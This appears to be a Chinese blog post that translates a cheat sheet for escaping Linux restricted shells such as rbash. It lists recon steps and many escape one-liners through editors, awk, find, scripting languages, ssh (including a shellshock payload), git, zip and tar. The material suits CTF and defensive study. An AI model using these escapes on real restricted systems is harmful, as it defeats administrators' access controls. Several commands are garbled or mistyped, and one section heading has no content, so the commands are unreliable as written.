【安全】Linux Restricted Shell 绕过指南

原文:Linux Restricted Shell Bypass Guide - By @n4ckhcker & @h4d3sw0rm
本文针对rbash逃逸,介绍了多种方式

简介

Linux Restricted Shell是一种限制命令(如:cd、ls、echo等)、阻止环境变量(如:shell、path、user),甚至于阻止管道/重定向(如:>,>>,|)的shell。

常见的Linux Restricted Shell有rbash、rksh、rsh。

Linux Restricted Shell有如下场景使用

  1. 提高系统安全性
  2. 阻止黑客执行高危命令
  3. 系统管理员创建受限制Shell,进而防止普通用户执行危险命令
  4. 部分CTF赛题,如Root-Me、HackThebox、vulnhub

信息收集

通过信息收集,我们可以知道当前可以再rbash下的环境信息,以及可以执行哪些命令

  1. 检查可用的命令,如:cd、ls、echo等
  2. 检查运算符,如:>、>>、|、<等
  3. 检查可用的编程语言,如:php、perl、ruby、python等
  4. 哪些命令可以作为root (sudo -l)运行
  5. 检查具有SUID权限的文件或命令
  6. 检查当前使用的shell:echo $shell
  7. 检查环境变量:运行env、printenv、set等

常用逃逸命令

  1. 如果允许使用“/”,则可以运行/bin/sh、/bin/bash
  2. 如果允许使用cp命令,则可以复制/bin/sh到当前目录
  3. 使用ftp进行命令执行,执行 !/bin/sh
  4. 使用gdb进行命令执行,执行 !/bin/sh
  5. 使用more/man/less进行命令执行,执行 !/bin/sh
  6. 使用vim进行命令执行,执行 !/bin/sh
  7. 使用rvim执行:python,然后运行import os; os.system("/bin/bash )
  8. 使用scp,通过scp来传入自己脚本
  9. 使用awk,执行awk 'BEGIN {system("/bin/sh or /bin/bash")}'
  10. 使用find,执行find / -name test -exec /bin/sh or /bin/bash \

编程语言逃逸

  1. 使用except,执行except spawn sh then sh.
  2. 使用python,执行python -c 'import os; os.system("/bin/sh")'
  3. 使用php,执行php -a then exec("sh -i");
  4. 使用perl,执行perl -e 'exec "/bin/sh";‘
  5. 使用lua,执行os.execute('/bin/sh')
  6. 使用ruby,执行exec "/bin/sh"

高级技术

  1. 通过ssh,ssh username@IP - t "/bin/sh" or "/bin/bash"
  2. 通过ssh,ssh username@IP -t "bash --noprofile"
  3. 通过ssh连接,并使用shellshock,ssh username@IP -t "() { :; }; /bin/bash"
  4. 通过ssh连接,ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)
  5. 通过git,执行git help status,然后执行!/bin/bash
  6. 通过pico,执行pico -s "/bin/bash",然后写入/bin/bash,并且执行CTRL+T
  7. 通过zip,执行zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
  8. 通过tar,执行tar cf /dev/null testfile --checkpoint=1 --checkpoint- action=exec=/bin/bash

C SETUID SHELL

环境变量修复

获取到的Shell,环境变量可能会缺失,在这里可以通过如下命令进行修复

export PATH=$PATH:/sbin:/usr/sbin:/bin:/usr/bin

参考

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值